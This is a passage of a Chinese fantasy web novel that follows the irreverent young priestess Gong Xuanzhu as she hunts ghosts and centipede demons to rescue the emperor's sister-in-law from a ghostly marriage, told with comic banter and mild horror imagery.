《无情道师姐想毕业》
1. 三更
“名字。”
“不知道。”
“叫‘不知道’?为什么取这么个绰号。”
少年微微愣了一下,既而以复杂且幽怨的目光看着乌木桌后面的女子,那目光仿佛是在说:“玩梗很有意思吗?”
她手里捏着一支最小号的朱笔,面前摊开这一本厚厚的线装书,鲜红的朱砂已经滴在了雪白的宣纸上,像极了晕染开的血点子。
女子似乎很是苦恼,久久地皱着眉,一个字也不曾写。
对面的少年一声不吭了,静静地望着眼前的人,似乎要把她看透了,唇角有意无意地勾起一抹笑。
女子身形匀称,玲珑纤细的身躯裹在如烟似雾的黑色轻纱之中,那纱衣也不光是黑色,在木屋烛火的折射下泛着或幽蓝、或暗紫的光泽,微卷的柔发与清消的脸颊都遮在半透质地的薄纱下,仿佛是将星空剪下披在了身上。
但美人一开口就打破了这份美好,她抬起纤长卷翘的翠睫,一双深邃的眼眸直盯着他,连珠炮一般发问:“死因?年龄?家庭住址?”
少年刚张张嘴她直接打断,一把合上了桌案上的线装书。
少年这才看清书封的样子,黢黑的表皮,看不出是什么材质的,三个血红的篆字烙刻其上——百鬼图。
他眸中的惊恐一闪而过,几乎是从椅子上弹起来了,一把纤纤玉手已经按在了肩膀上,耳边的笑意轻淡而冰冷。
“你现在跑出去无异于三岁小儿持金过市。”
少年本来苍白的脸色此时已经半透明,肩膀微微发抖:“你……你是天师?你是不是想拿我练法器?”
女子噗嗤一声笑了,眉眼弯弯如同秋水泛清波,少年看得一愣连忙撇过了脸。
“拿灵魂炼法器可是要遭天谴的,我看起来很像是邪魔歪道吗?”
你不是像,你就是。
少年吓得不敢言语,悄悄观察着眼前女子。
星辰宫修士,皆以身上佩戴的星珠区分等级,星珠越多代表地位、道行越高,法力越强。
一般是降服一只鬼,根据对手的阴气多少,天师获取相应的星珠。这些星珠被天师们或做成手串、或做成项链,平时佩戴在身上显摆……这都是其次了,主要是眼前这位,她她她拿五颜六色的星珠做了一套头帘,看着是很璀璨夺目、异域风情……就这你还告诉我你不是邪魔歪道?你实话说,是不是血洗过十八层地狱?阎王看见你是不是都绕道走的?最可气的是你还一脸无辜,告诉我那是会发光的玻璃珠,真就骗鬼呢!
少年两眼一黑差点撅过去。
就在这时屋外有人敲门,一个年轻的姑娘声音传了进来,气喘吁吁道:“不好了少祭司!宫里出事了,国师又偏偏不在——!”
“慌鸡毛啊,这不还有我嘛。”
她漫不经心地制止了侍女的大呼小叫,随手拿起了树枝形灯具上的一根三寸长的白烛,蜡烛有儿臂粗细,底部有银制托柄,不用担心被蜡油滴到。
她突然凑近他,半张容颜在烛火下仿佛能跃刻纸上,“乖乖待着。”
少年本来还想去躲那烛火,却不曾想那火光对自己并无伤害性,这才发觉,她的屋子里点的都是这种白色蜡烛,火焰是蓝莹莹的,蜡油却是红色,如同一滴滴鲜血在银托里晃动。
所幸离梦阁距离皇宫并不远。
“玄烛!你可算来了!快救救孤的姨妹!”
一身玄袍的俊雅男子还不待宫玄烛跪下急忙搀起了她,其实对方也没想跪,立刻直入主题:“哦?请陛下展开说说。”
国主直接推着她往内殿走,脸色阴郁:“情况很是棘手,待会儿你无论看见什么都不要叫出声……家丑不可外扬……”
宫玄烛听到这里直接反客为主,拍了拍国主的肩膀,一副少年老成的派头,语重心长道:“我宫玄烛什么大场面没见过,就我师父那老帮菜都没我能压事,想当年——咳咳,我们先去看病人吧。”
这位皇姨是当今皇后的妹妹,名唤陌菱,妥妥的白富美了,可惜的是人生得意情场失意,偏偏就看上了当朝国师尹星灯,一顿死缠烂打之后成功逼得国师游历四方去了。
自从国师走后皇姨郁郁寡欢了许久,恋爱脑似乎是治好了一些,对国师的爱慕渐渐减淡了,本以为这就算是相安无事了,可谁知就在半个月前,皇姨突然在花园晕倒了,当时有个御医诊断皇姨是花粉过敏……那哥们现在还蹲天牢里呢。
国主陛下对皇姨可谓是宠爱有加,今天宫玄烛要是治不好皇姨,不出意外的话,大牢里应该会少一小单间。
至于之前国主陛下为什么一脸阴郁地说“家丑不可外扬”呢?等宫玄烛见到躺在芙蓉榻上的皇姨时就秒懂了。
小姑娘小脸蜡黄,瘦得皮包骨似的,嘴里还伴随着不可描述的梦呓……给旁边的国主气得差点没当场大义灭亲。
宫玄烛平时装得清纯小白花似的,其实也是老司机一枚,一瞧皇姨的脸色就知道是怎么回事。
这小姑娘是被吸阳气了,嘴唇乌青,娇滴滴一大美人现在跟骷髅架子似的,这鬼简直丧尽天良!别让她逮着,肠子非得给它踹折了!
旁边国主捂着耳朵问宫玄烛:“怎么样?姨妹可还中用?”
宫玄烛放下蜡烛坐床边开始脱鞋了。
墨玉沉的脸瞬间红了,急忙瞥过脸去怒气冲冲道:“宫玄烛,孤王的姨妹危在旦夕你还想着勾引孤!能不能有个轻重缓急了?”
宫玄烛鞋脱一半手指僵硬了,直直地瞅着墨玉沉讲话了:“我只是想躺皇姨身边方便施展术法,可你要这么说我忽然不敢在你眼皮子底下睡着了,谁知道醒来会不会变成贵妃啊!”
气得墨玉沉暴跳如雷:“你以为孤跟你一样没有节操吗!”
“那就好那就好。”
宫玄烛松了一口气继续脱鞋,自己的鞋跟皇姨的鞋都摆正,鞋尖正对着床,自袖中摸出百鬼图鉴,从里面翻出两张剪纸小人,闭上眼手掐诀口念咒,其中一个剪纸小人上多了两个字——陌菱。
“陛下,皇姨的魂魄离体太久了,臣会尽力将她带回来,如果五更天还不见剪纸人回来,烦劳您将臣火葬了。”
说完这句她已经闭上了双眼,仰头倒了下去。
“玄烛!”
墨玉沉喊了一声,这时就见她手中的空白符纸人跟有了生命一样,直立了起来,背起另一个符纸人一跃跳下了床榻,借着微风可谓是身轻如燕,如同蝴蝶一般飞出了重重宫阙。
墨玉沉来到床边凝视着薄纱遮面的少女,她昏迷之前紧紧握住了陌菱的手,见此情此景不禁长叹一口气。这丫头一向没大没小的,叫授业恩师最客气的是直呼其名,背后说国师尹星灯鹤发童颜、雌雄莫辨,长得男女老少,这辈子都找不着对象……
毕竟想刀一个人的眼神是藏不住的,总管内监见国主一直盯着少祭司看,头上的汗水已经能洗脸了,冒着生命危险捂着耳朵进来的,国师走前威逼利诱,一句话就是,在他老人家回来之前,缺德徒弟不能被陛下就地正法了。
总管内监急忙道:“陛下,好歹等皇姨凤体安好了再
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动少祭司也不迟,您说呢?”
不是,孤没想杀她啊,至少现在不想……
虽然在墨玉沉看来离魂的宫玄烛是皮影形态的,但她自己可不然,依旧是熟悉的身体构造,只不过飞檐走壁更出神入化了些许,兜里就揣着那张写了皇姨名字的皮影。
耳边有清脆的梆子声响,街上孤零零过去一个打更人,腕上拿细麻绳挑着泛黑的铜锣,手里提着一盏昏暗的纸灯笼,小棒槌敲下去,嗓子扯开一声穿透街巷——夜半子时!
更夫这一声仿佛是发出了某种信号,这条长街,乃至于整个世界都陷入了一片诡异的死寂之中,子时,阴气最重,阳气最弱。
一片乌云渐渐笼罩住了月亮,惨淡昏白的街上,那更夫的影子已经看不见了,而本来空无一人的长街上也渐渐热闹起来了,迎面披红挂彩一送亲队伍,吹拉弹唱浩浩荡荡,眼看离老更夫越来越近。
老更夫依旧晃晃悠悠,走得不紧不慢,他自自南向北,那送亲队伍自北向南,双方愈走愈近,距离不断缩短。
老更夫点起了腰间的旱烟杆,深深地吸一口再吐出一圈云雾来,仿佛眼前什么也没有,又或者,他只是假装看不见而已。
那仪仗队自发让开一条小道,老更夫刚好从中间穿过,依旧走得不紧不慢,晃晃悠悠。
自古以来,像打更人、侩子手、连线师这些人,都是世代相传、子承父业的,因为一般人干不来,身上煞气重,八字镇得住阴灵邪祟,他们世代相传的打更锣、鬼头刀都是煞器,是故百鬼不侵。
历代打更人出夜前会用麻绳将铜锣绑在手腕上,巡夜过程中,锣就是打更人的命,掉在地上大不详。
宫玄烛站在屋顶上全程看完了一切。
那老更夫已经穿过了仪仗队,依旧慢吞吞地笃着步。
喜庆的诡乐又演奏起来,宫玄烛看见,为首一个骑着白马,身穿红袍,头戴乌纱,耳边还别了一支红花,乌发飘飘,唇红齿白,真有探花郎游街夸官的风范。
他走出去几里地,似乎察觉哪里不对,转头看了回来,字面意思上的,脑袋全方位无死角地转了一圈,瞬间仿佛变了一张脸,嘴歪眼斜,瞪着一双流血的死鱼眼,血红的嘴角不可思议地裂到了耳后根,脸仿佛涂了一层腻子,泛着青白色,他就这么歪着头注视着空荡荡的街道,周围一切仿佛都定住了一般,连阴仆手里的旗子都停止了飘动,只有新郎官的两页帽翅在诡异地上下颤动,而宫玄烛早已念决隐藏了身形。
新郎官未察觉异样,继续策马而行,脑袋也拧了回去。
宫玄烛快步跟上了他们,一直保持着不远不近的距离,跟着红得晃眼的迎亲队伍没有任何障碍出了皇城。
黄白纸钱如同雪花一般漫天飞舞,远处呜呜咽咽的声音忽远忽近,似是在欢呼,夜晚迎亲对于它们来说也是一件喜事。
残破的白灯笼挂在荒宅大门上,随着阴风打着旋儿,那破旧的窟窿仿佛一双深不见底的邪恶眼睛在盯着着不远处的活人。
很奇怪的景象,一道牌坊似乎隔绝了两个世界,荒镇外面漆黑一片,里面却有暗暗的光芒,随着迎亲队伍进入破旧而歪歪扭扭的宅子里,宫玄烛就看见一道道白影也跟着一阵风似的刮了进去,仿佛里面有什么奇珍异宝似的。
宫玄烛一脚踏入牌坊里,霎时间感觉浑身一冷,寒意顺着自己迈出去的左脚延伸上来,她抬头一看,一个白色身影就坐在牌坊顶上,宽大的裙摆轻轻舞动,发出哗啦哗啦的声响,不像布料像是纸,隐约能看到牌坊上的字——槐荫镇。
2. 新娘,我
宫玄烛好事地后退几步,想看看这东西的脸,一阵阴风沁入骨髓,浑身都立起了鸡皮疙瘩。
一团惨白的东西出现在了宫玄烛眼前,那距离近在咫尺,它居然从牌坊上直接落到了宫玄烛面前,而那惨白的一团并不是这东西的脸,而是一片盖在它脸上的白纸。
宫玄烛伸手去揭开白纸,那东西仿佛被吹到的羽毛一样一退数丈远,站在了挂白灯笼的荒宅门口,然后向里面一闪。
宫玄烛一脚踏入槐荫镇,一股寒气顺着脚心直窜天灵盖,瞬间到了荒宅门口,里面是一方庭院,零零星星摆着几张落满灰尘、歪歪扭扭的破旧桌子,宫玄烛看着那些桌子在轻轻晃动,就仿佛有人在摇晃一样,沾满灰尘的桌面仿佛一块画布,上面的手印越来越多,也越来越杂乱。
宫玄烛睁一眼闭一眼,场景立刻变了,眼前不是荒宅,而是喜堂,红烛摇曳,宾朋满座,推杯换盏好不热闹,而桌上的食物无一不是阴森森的、冷冰冰的纸扎货。
宫玄烛接住空中一张纸钱贴在了自己左眼上,右眼看到的就是血红的诡异喜堂,若是直接把它当作荒宅走进去,可能会打扰到别人,绕过桌椅,穿过喜堂,是一条长长的游廊,游廊尽头的房间里亮着灯,宫玄烛刚走过去,房间的门忽然吱呀一声,一只大红朝靴伸了出来,宫玄烛脸色忽然一变,若是顺着这靴子看上去,应该能和新郎撞个脸对脸。
来不及了,不然就直接开打吧,打得过算我幸运。
刚拿出未燃起的辟邪魂灯,眼前忽然白影一闪,正好挡住了迈步出门的新郎的视线,宫玄烛见异变突生,抓住机会脚底生风躲到了身后的槐树背面。
又是它,那个浑身白刷刷的纸人,它居然帮我,还是别有目的?不行,这种玩意儿不会无缘无故帮我,定是要让我付出代价,我还是先下手为强,连它一起收拾了。
宫玄烛估摸着新郎已经走了,悄悄探出一点脑袋去查看房间四周的情况,前面没有、左右两侧没有、房顶也没有……忽然感觉背后一阵发凉,脊背上汗毛直竖起来,宫玄烛一转头眼前就是一黑,撞得她眼冒金星,左侧颧骨一阵麻木,接着是火辣辣地疼,都快没有知觉了,再一睁眼,前面是黑漆漆一面墙,左眼上贴得纸钱都撞飞出去了,瞬间回到了现实,华丽的豪宅又变成了荒宅。
宫玄烛迅速拿符纸贴在左眼上,瞥见一角白衣消失在了墙头。
果然又是那个纸人,刚才它想做什么?大概是没料到我会忽然回头,所以我刚才是撞它身上了,明明是纸做的,怎么跟石头一样硬邦邦的。
宫玄烛顾不上麻木的颧骨,趁新郎离开迅速进入婚房里。
屋子里一股腐朽的怪味,仿佛是食物放了好几天坏掉了一样,臭味、霉味夹杂在一起,熏得人想吐。
宫玄烛大致扫了两眼,看见一身红色龙凤褂的新娘坐在西窗前,长发散开,正在一下一下梳头发,那头发长得拖到了地上,瘦成皮包骨的爪子握着一把骨梳,撩起一缕长发从头输到腰,顺滑地仿佛一匹绸缎。
宫玄烛上去就抓住了她的手,夺过梳子:“别梳了!命都快梳没了!”
刚说完就见镜子里是一张喜床,床上坐着一个人,盖着红盖头,一双小脚被红裙盖住了大半,小手交叠在膝面上。
镜子里那个是陌菱的话,那我手里抓的这位是?
镜子前梳头的女人已经嘎吱嘎吱地转过了脸,左半边是血肉,额头有一个血窟窿,眼睛只有眼白和血丝,右半边是骷髅白骨……宫玄烛感觉一只指甲尖利的手已经摸上了她头顶,刺刺地正要往她头皮里抓进去。
“得罪了!”
宫玄烛抬腿照女人肋骨上就是一脚,紧接着腰一拧,在尚未落地之前又送上一脚飞踹,半张脸的女人,脑袋卡进了铜镜里,两条腿无力地垂在外面,尖利的指甲刺啦刺啦挠着桌子,那声音听得宫玄烛想一头把自己撞晕了,铜镜碎片似乎嵌入了女人的脖子里,发黑的血液顺着桌面流了下来,滴答滴答淌在地上,血越流越多,汇聚成几条蜿蜒的小蛇往宫玄烛脚下赶了过来,她迅速后退几步寻找对策。
该死的,忘记了皇姨还在镜子那边,这下镜子被堵住了,我该怎么过去?
宫玄烛想了想,觉得有些蹊跷,镜子那端应该已经是另一个世界了,皇姨大概早就被什么东西拉入鬼门关了,这死鬼新郎娶的什么估计自己都不知道。
门又是嘎吱一声,宫玄烛迅速扯下窗帘盖住了整个梳妆台,自己顶了一片桌布坐到了床上。
左眼上贴着的符纸已经飘到了门口的地板上,透过缝隙,她眼中的房间是破破烂烂的一间废弃杂物间,到处堆着稻草、破旧衣服、纸窗漏着风,一双大红朝靴出现在了她眼前,往上看是红色的袍子。
她扔下的驱邪符居然没被他踩到,算他幸运。
头顶传来一个声音,仿佛在轻笑,像是半死不活快要入土为安了,盖头被揭开,宫玄烛早就瞪大了眼睛准备一览对方尊容,却吃惊不小,没有想象中花红柳绿或者是嘴歪眼斜,而是一张惨白却极为好看的脸。
新郎分明是她便宜师父尹星灯的模样……难怪啊,会迷得皇姨神魂颠倒、乐不思蜀。
那新郎惨白且骨瘦如柴的双手扶住了她,渐渐靠近,双手捧着她的脸,宫玄烛明显感觉到,腰身也被什么东西握住了……淦了!这玩意儿到底几只手?八爪鱼吗?
不由分说就要压着宫玄烛往身后的棺材里倒去,没错,身后的床其实是一口空棺材。
宫玄烛的手死死撑着棺材沿,身上的压力越来越大,她感觉自己的手都快骨折了,却苦苦支撑着,万一真被压到棺材里就惨了,里面狭小窄短,再无翻身的可能。
新郎似乎也觉察到了不对,先前对早就百依百顺的娘子怎么忽然抗拒起他来了,脸上闪过不悦。
然后宫玄烛就听见棺材里悉悉索索的声音,有很多东西在爬动,像是什么虫子,一点点顺着棺壁爬了上来,宫玄烛顾不上回头看,死死盯着眼前的新郎,他的脸已经有些变形了,薄薄的皮肤下似乎有什么东西在蠕动,脸皮被撑得一会儿鼓起一会儿下陷,而且整张脸都是这样,就好像是一张幕布摆在
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眼前,幕布后有许多人在拿手指戳,那新郎的眼睛隐隐闪过一丝绿光,宫玄烛立刻心下明了。
原来如此!终于还是藏不住了马脚了,你是有实体的就好办!
大拇指的指甲狠狠划过三指指肚,霎时间鲜血流下掌心,她紧紧抓着新郎的胳膊,对方半条胳膊都开始刺啦啦灼热起来,发出一阵恶臭,与此同时新郎大怒,嘴里发出尖锐刺耳的声音,嘴里腥臭的满是黑色气体,一根黑红色的湿漉漉的管状物体从他嘴里探了出来,粘腻的口水甩了她一脸,宫玄烛清楚地看见那管子的前端长满了细密的牙齿,忍着恶心用带血的手掌狠狠一抻他的下颌,咔嚓,是什么东西被咬断的声音,紧接着缠住宫玄烛的腰身的东西悉悉索索缩了回去,然后宫玄烛就看着那个新郎仿佛一张纸似的贴在了地上,以一种扭曲的姿态七手八脚地游离出了屋子,正常人用他那个姿势爬一下估计骨头都要扭断了。
地上只剩一条暗红色的管状物,估计是那东西的舌头之类的,刚才在宫玄烛的助力下被主人活生生咬断了,舌头在地上仿佛一条蛇,半截子伸了起来,宫玄烛没空理会,天快亮了,得先回去,再完一步就要被火化了。
收工收工,改日带好家伙甚,摇好人再去冥界救皇姨吧,掐掐日子还有六天呢,来得及来得及。
皇姨最终还是没醒过来,墨玉沉痛哭流涕:“前几日她还说宫殿潮湿,住着不舒服,怎么如今就……陌菱啊!是孤王对不起你!”
于是宫玄烛吊儿锒铛入狱跟御医攀谈。
御医灰头土脸一脸倒霉相,正无聊得拿稻草编蚂蚱,看到宫玄烛进来眼睛瞬间亮了:“少祭司,你怎么也进来了?”
宫玄烛进去坐他隔壁的小单间,一脸的“我自愿”,冷哼道:“那你怎么进来的?”
御医叹气:“一天前,陛下宣我入宫,说治不好皇姨让整个太医院陪葬,我就蹲这儿了。”
宫玄烛习以为常地点点头表示理解:“陛下也说,治不好皇姨就让整个星辰宫陪葬,我就蹲这儿了。”
御医眼含热泪,看着少祭司觉得越发亲切:“那您是代表星辰宫来蹲大牢的吗?”
宫玄烛冷笑两声:“星辰宫里一共就四个人,一个是大皇姨,一个床上躺着,一个外面浪着。”
御医点点头:“我要是陛下我也拿你开刀,柿子挑软的捏,人挑脓包的揍。”
宫玄烛一举手向外面的狱卒打小报告:“我举报,这儿有人想谋反!”
“欸欸欸!少祭司,患难与共患难与共啊!百年修得同船渡,千年修得同牢蹲,不至于啊,真不至于!”
于是两位同道中人开始商量脱困之法,互相交换情报。
御医回忆往昔:“那天皇姨走进花园里,好像是崴了脚,回去之后便晕倒了,头上有不少花粉,脸上也落了些许……或者,是被蜜蜂蛰伤了。”
宫玄烛:“那你为什么说她花粉过敏?”
御医一脸无辜:“开个小玩笑嘛。”
宫玄烛:“……”
你还是死这儿吧,庸医!
3. 老登,师父回来啦
宫玄烛想来想去,从兜里又摸出一张皮影,放了点血让它去干活,本体在天字二号小单间沉睡着。
皮影溜出去跑到了未央宫,看到陌菱还在沉睡,脸色愈发惨白了,她打通神识,回溯到两日前,看着陌菱从未央宫出去,于是一直跟在她身后,看着陌菱果然是走进了御花园,走走停停、一脸忧郁,坐在秋千架上托着雪腮,屏退了所有宫女,宫玄烛看她似乎在呢喃着什么,细细分辨唇形,说的是——国师。
唉,落花有意流水无情啊。
皇姨出事都两天了,尹星灯还是游历在外,好歹也是他的徒弟,竟然真的不管不顾。
宫玄烛盯着陌菱看了一会儿,昏昏欲睡,忽然感觉脸蛋疼疼的,还有一个声音在她耳边回响:“少祭司,醒醒啊!哎呀,扇了两巴掌也不管用,要再来两下吗?”
别打了别打了!
宫玄烛欲哭无泪间忽见陌菱晕倒了,几个宫女慌慌张张过来扶着她回宫。
宫玄烛连忙过去,重新走一遍皇姨走过的路,走到一处脚下果然一跌,她移开脚,地上一片黑乎乎的东西,像被踩扁的死虫子,腿还特别多,恶心得要命。
继续往前走,一无所获。宫玄烛又只好原路返回,继续研究那黑乎乎的死虫子,被踩扁了看不出是什么物种,只觉得恶心,尤其现在还是皮影形态,那干瘪的死虫子看着格外瘆人,绿色的汁液渗入的砖缝里,躯壳紧紧粘在地面上,还有一股若有若无的恶臭。
等等。这股味道,她在槐荫镇也遇到过,荒宅、新郎、棺材、还有虫子!
宫玄烛刚理清思路,忽然感觉自己的视野一下子抬高了许多,眼前不是低矮的花草,而是树叶枝桠、宫玄烛转了个身,对上了一张放大的人脸,点墨似的瞳孔有如蒙着一层寒冰,高挺的鼻梁如耸立的山脊,薄唇略显苍白,三千银丝如同悬泉飞瀑、垂泻而下……紫袍鹤氅仙风道骨。
宫玄烛一个趔趄差点摔倒。
老登回来了?
尹星灯将她从地上捧起来,指尖轻轻戳她脑袋,轻笑一声山温水暖却带着一股疏离:“宫玄烛,又给本座抓到了,这次就罚你禁足十日。”
凭什么!我是为了查案!
宫玄烛气得在他手心里跳脚,后者一个凝眉她就不敢炸刺了。
“莫非是想抄一百遍《凝星占》?”
好汉不吃眼前亏,宫玄烛乖乖从他手心里跳下去,一溜烟回了大牢。
大概又蹲了半个时辰的大牢,师父终于来领她回家了,站在烛光昏暗的大牢过道里,衣摆上的星云暗纹熠熠生辉,伸手摘去她头上的稻草,素来古井无波的面容似乎带了一丝戏谑:“住的可还习惯?”
自家徒弟身陷囹圄,遭此无妄之灾,师父却喜大普奔、隔岸观火看热闹!天理何在!
宫玄烛敢怒不敢言,咬牙哼哼唧唧:“舒坦得很。”
“看来本座是自作多情了。”
他转身欲走,宫玄烛连忙追出了大牢,混迹在庙堂之上与江湖之中,她已经惯会伏低做小,苟且偷生:“师父!别介啊!那个,皇姨怎么样了?”
尹星灯一手背后,步履从容地走在前面,一改之前与宫玄烛插科打诨的轻松神色,语气淡淡道:“你不是已经查清了吗?”
宫玄烛闻言一愣,怔住了片刻,这才慢慢找回自己的声音:“什么意思!你不打算出手啊?”
过道里的气氛忽然变得沉闷起来,周围空气似乎凝固了,尹星灯连脚步都未停留,衣袂飘飘,语气淡漠地仿佛片片薄雪飘落。
“你自己就可以处理妥当。”话音未落人已经出了天牢,连飘摇的衣摆都显得那么冰冷。
宫玄烛死死盯着天牢门口刺目的一团白光,一股无名火直冲天灵盖,对着空气一顿破口大骂:“好你个老壁灯!到底是谁徒弟啊,什么都推给我,要你干嘛吃的?”
气得狠狠踹了铁门一脚,锁链哗啦作响,一路疾驰走到星辰宫门口,还么进去就听见一个温婉中沾点清冷的声音道:“师父回来了,一路可还顺遂。”
那声音淡淡,带着弟子该有的谦恭和谨慎。
“嗯,为师这段时日不在星辰宫,瑶儿可有偷懒?”笑意温和,喁喁细语。
“弟子岂敢荒废课业,师父若是不信,尽管考校便是。”
“你啊,为师怎么会不信你,这次出门游历为师带回来了一些适合你的法器。”
“多谢师父。”少女声音依旧淡淡,听不出来有多欣喜,仿佛只是随声应和两句。
“跟为师还这么客气。”语带嗔怪,更多的却是温和与关怀。
宫玄烛的脚步顿在星辰宫银雕玉砌的大门口许久,等里面两人离开了才缓缓走进去。她倒不是嫉妒林瑶,只是有点想不明白,同样是徒弟,尹星灯的态度为何天壤之别,难道只是因为陌菱对他生了妄念吗?何至于见死不救?
不,宫玄烛很快就否定了这个猜测,因为细细回想起来,从小到大,尹星灯都不怎么在意陌菱,眼里只有个林瑶,偶尔也搭理自己两下。
宫玄烛倒是无所谓,反正她看尹星灯也没多顺眼,做他弟子只等有一天继承星辰宫就好了。
至于那陌菱到底怎么想的,宫玄烛也懒得管了,反正她跟这个便宜师妹也没多深厚的感情,把人从鬼门关拉回来就成。
……
宫玄烛待在木屋里画地图,准备救人的道具,翻开厚厚一卷《幽冥诡事录》查看上面的记载:十五日子时,槐荫镇阴气最盛,持有六界通行令牌。与鬼卒对切口,可过鬼门关。
她纤细的手指顺着冥河划过,城隍庙、鬼门关、望乡台、孟婆驿、枉死城……道道关隘被血色的忘川连成一线,而每道关隘都有鬼将坐镇,玄门中人混进去到底危险重重。
小木屋房顶上、柜子里不断发出悉悉索索的声响,着实烦人。
修仙讲究艰苦朴素、所以她放着宫府不住跑到了星辰宫后山上,圈了一块地清修,可是满山的耗子、黄鼠狼也看上了这块宝地,日日跟她争夺这片风水宝地。
那捡回来的少年,宫玄烛给随便取了个名字,叫林夕,独居山林,且惜晚照,就是希望他能安静一点,而不是像现在这样蹑手蹑脚地去捉老鼠,宫玄烛看着他拿了个洗脸盆猫着腰过来过去,老鼠吱吱慌不择路地满屋子逃窜,叮呤哐啷——一片惨不忍睹的声音,锅碗瓢盆跳了一地。
林夕努力好久,终于捉了一只老鼠,刚准备拿出去准备放生,宫玄烛直接一把指甲刀飞过去命中要害。
林夕吓得一甩手,身上冒血的死老鼠飞出了门:“少祭司!你这是干什么?”
宫玄烛轻吐一口浊气,重新心平气和地看地图,眼睫毛都不抬一下:“小小耗子居然敢在我底盘上撒野,找死。”
林夕心有余悸地看看门口横死的老鼠,又看看稳坐桌案后面的宫玄烛,低声嘟囔道:“万物有灵,少祭司这样做不怕造报应吗?”
宫玄烛抬眼:“报应?你倒提醒了我……”
她当即就赶往未央宫,伸手在皇姨额头上一戳,皮肤居然扁下去了,无数大小蚰蜒爬了出来,密密麻麻一窝争先恐后地从陌菱耳朵里、鼻孔里钻出来,仿佛一片黑水从床上流到地板上,一见火光登时作鸟兽散。
宫玄烛冷笑:“还真是这东西,敢害我身陷囹圄,我必让你断子绝孙。”
她命人从御膳房拿了一桶香油,掂着桶底泼在了犄角旮旯里,耐心等了一炷香左右,果然引出了它们,宫玄烛一把火直接烧了璇玑殿,林夕站在远处目睹了这一切,不禁摇摇头,这女人还真是睚眦必报啊,果然是比鬼都横。
已经是第三天了,头七一过阳魂彻底变成阴魂,就真的回天乏术了。
陌菱怎么既招惹上妖界又招惹上了冥界?宫玄烛百思不得其解,那个新郎是妖无疑,陌菱身体里爬出来的蚰蜒也证明了这一点,然而两日前的荒宅里确实又出现了许多非人之物,陌菱现在阳魂离体,被困在冥界,如今看来只能是有人借刀杀人,将火引到妖界。
白天的槐荫镇,看起来就是个普普通通、人烟稀少的小镇子,行人稀稀疏疏地走过,店铺大多数开着,店铺门口零零星星摆放着大红大绿的花圈、寿衣……槐荫镇就是以卖丧葬物品为生的。
天色渐暗,宫玄烛随意在街上转了转,一个半大的碧衣少女慌慌张张与她撞了个满怀。
“对不起对不起!我急着赶路!”少女嘴上道歉,脚步并不停,反倒越走越快,最
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后直接跑了起来。
宫玄烛揉揉自己的肩膀,刚一回头梅开二度,又被一个白衣少年撞了一下,声音清冷,头都不回一下,大步流星继续往前走:“对不起,我急着找人。”
宫玄烛攥紧了拳头,磨磨牙最终暗骂一声:“现在的年轻人怎么都这般冒失,赶着投胎啊!”
忽然,她气息一顿,紧紧盯着那两人离开的方向,空气里有一股淡淡的妖气,疏忽之间消失地干干净净,仿佛只是宫玄烛的错觉。
居然又是妖。
宫玄烛可以肯定,妖气是那个白衣少年身上的,他从自己身边经过时,她明显感觉到了一股清寒湿润的气息,就如同修仙之人身上的灵力波动一般。
看样子,那只妖是追着那个少女去的,那个少女虽然行色匆匆但脸上不见慌乱,更没有向自己求救,所以宫玄烛也懒得管别人的闲事,缓缓踱步到镇子中心一棵参天槐树下,夜幕已经降临,家家户户尽数熄灭了灯笼。
宫玄烛径直走向一家纸扎店,阻止了老板关门落锁的动作。
“打扰了,可否借贵地休息一晚?”
宫玄烛说完客套话,抬头一看才发现面前是个姑娘,跟自己差不多大的年纪。
姑娘似乎有些为难,既不忍心拒绝宫玄烛,又怕惹祸上身。
宫玄烛低笑道:“老板只管回房睡觉,我在店里坐一晚就行,少了什么东西你只管找我赔。”
姑娘见话都说到这份上了,只好侧身让宫玄烛进去,其实店里也没什么,就是一些纸人纸货,只要是脑子没病就不会去打这些东西的主意。
宫玄烛的目光在店里打量一圈,发现那些纸人扎得简直是巧夺天工,而且,这店里多是新娘纸人,手指交叠在小腹前,衣上花纹富丽堂皇,简直比宫中嫔妃的宫装还华丽上三分。
“这是店主的手艺?当真是让人大开眼界。”宫玄烛由衷地赞叹道。
姑娘有些局促地道:“您过奖了,”她走到旁边剪掉一段灯花,将蜡烛放在桌子上,“您随便坐,有什么需要就喊我。”
宫玄烛道了谢,姑娘便转身上楼了。
纸扎店里只剩下宫玄烛一人以及那些大大小小的花圈和几个惟妙惟肖、重工打造的纸新娘。
离子时尚有两三个时辰,宫玄烛就欣赏店里那些纸扎作品,阴宅、元宝、纸轿、纸马……样样都逼真至极,仿佛实物缩小了一样,然而,当看见一样东西时,宫玄烛眼皮跳了跳,那是一桌纸扎的饭菜。
惨白的豆腐块、红彤彤的丸子、剪出枝干茎叶的白菜、饺子上的褶皱都清清楚楚……一张纸压在纸盘子下面,宫玄烛淡淡扫去,看到了这样几行字迹:七月十三日,石员外之子订十桌纸扎贡品,龙凤花烛八对、纸钱二十沓、纸新娘一个。
指尖不由自主地轻叩桌面,宫玄烛大概明白了,荒宅里和妖物结冥婚的并不是陌菱,那个半张脸的长发女人应该是纸新娘被孤魂野鬼附身了,而鬼新郎又阴差阳错被妖物代替了,当真是有趣得紧。
笃笃笃——
木门被叩了三下,万籁俱寂的黑夜里却听着格外清亮,宫玄烛一下子回过神来,目光对上了被门闩插死的木门。
笃笃笃——
门又被敲了三下,宫玄烛已经反手握住了背后的辟邪魂灯,整个人高度紧绷,双眼死死盯着门闩,脑海里迅速闪过几个念头:这敲门声急促有力,外面是个成年男子,鬼新郎?白衣少年?还是蚰蜒精?
叩门声再次想起,宫玄烛一咬牙关,发出了短促的音节:“谁?”声音有些微微的颤抖。
敲门声没有再响起,那人似乎是愣了一下,随后二楼传来了噔噔噔的脚步声,年轻的店主人跑了下来,居然伸手就要去拔门闩,宫玄烛立刻制止了她:“当心,外面可能有别的东西。”
店主人一脸惊讶道:“怎么会呢?”她微微一笑,解释道:“你别怕,咱们槐荫镇虽然做这些丧葬用具,但没有闹过什么不干净的东西。”
说着,她已经取下了门闩,冷风带着街上了纸钱钻进了屋里。
好吧,其实也说不清到底是这屋子里危险还是大街上危险,毕竟满屋子都是逼真的纸新娘,要是混进去一个真的,那也没地方讲理去。
4. 小道士有两下子
两扇木门敞开,下一刻,一个身形颀长的黑衣人走了进去,烛光映照下,宫玄烛这才发现对方一副山雪劲松的姿态,山眉水目、温雅有余,即使背了把阴森可怖的鬼头刀看起来也十分面善,让人毫不怀疑他是名门正派。
而一身绣莲花纹的玄袍代表了此人的身份——芙蕖观弟子。
宫玄烛瞥了那人一眼,语气不善:“裴暮雪,你来这儿做什么?”
后者早已施施然坐下,一副自来熟的模样:“来吃饭。”
